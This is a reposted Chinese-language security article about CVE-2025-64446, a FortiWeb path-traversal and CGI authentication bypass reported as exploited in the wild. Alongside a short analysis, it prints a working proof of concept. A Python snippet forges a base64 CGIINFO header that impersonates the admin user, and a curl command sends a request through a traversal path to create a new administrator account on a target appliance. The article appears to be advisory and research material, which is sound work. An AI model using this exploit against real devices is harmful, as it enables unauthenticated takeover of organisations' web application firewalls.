文章总结: FortinetFortiWeb存在一个严重漏洞CVE-2025-64446,允许未经身份验证的攻击者通过路径遍历和CGI身份验证绕过执行远程代码。攻击者可利用相对路径遍历到达/api/v2.0/…/migadmin/cgi-bin/fwbcgi路径,并通过伪造HTTP_CGIINFO请求头冒充管理员,最终创建新管理员账户获取设备控制权。该漏洞已被确认在野外被利用,CVSS评分为9.1,属于高危漏洞,建议立即采取防护措施。
综合评分: 85
文章分类: 漏洞分析,WEB安全,漏洞预警,网络安全,应急响应
FortiWeb 未经身份验证的远程代码执行漏洞(通过路径遍历和 CGI 身份验证绕过)CVE-2025-64446
TtTeam
2025年11月22日 13:57
广东
Fortinet于 2025 年 11 月 14 日将此问题分配了FG-IR-25-910 / CVE-2025-64446 号漏洞编号,评级为“严重”(CVSS 9.1),并确认该漏洞已被实际利用。官方公告将其描述为 FortiWeb GUI 中的一个“路径混淆”(相对路径遍历)漏洞,允许未经身份验证的攻击者通过精心构造的 HTTP(S) 请求执行管理命令。其机制与我们的发现相符:攻击者通过遍历到达某个/api/v2.0/…路径/migadmin/cgi-bin/fwbcgi,并cgi_auth()盲目信任攻击者提供的HTTP_CGIINFO请求头来冒充任何管理员。
撰写冒充标题:
CGIINFO= $( python3 - << ' PY ' import base64, json payload = {"username":"admin","profname":"prof_admin","vdom":"root","loginname":"admin"} print(base64.b64encode(json.dumps(payload).encode()).decode()) PY )
通过遍历路径发布 JSON 有效负载(注意,--path-as-iscurl 不会进行规范化%3f/../..):
curl --path-as-is -sk \ -H " CGIINFO: $CGIINFO " \ -H ' Content-Type: application/json ' \ --data ' {"data":{"q_type":1,"name":"watchtowr","access-profile":"prof_admin","password":"watchtowr"}} ' \ ' https://<target>/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi '
该设备HTTP/1.1 200 OK以新管理员用户的 JSON 响应,证明未经身份验证的控制。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:TtTeam 《FortiWeb 未经身份验证的远程代码执行漏洞(通过路径遍历和 CGI 身份验证绕过)CVE-2025-64446》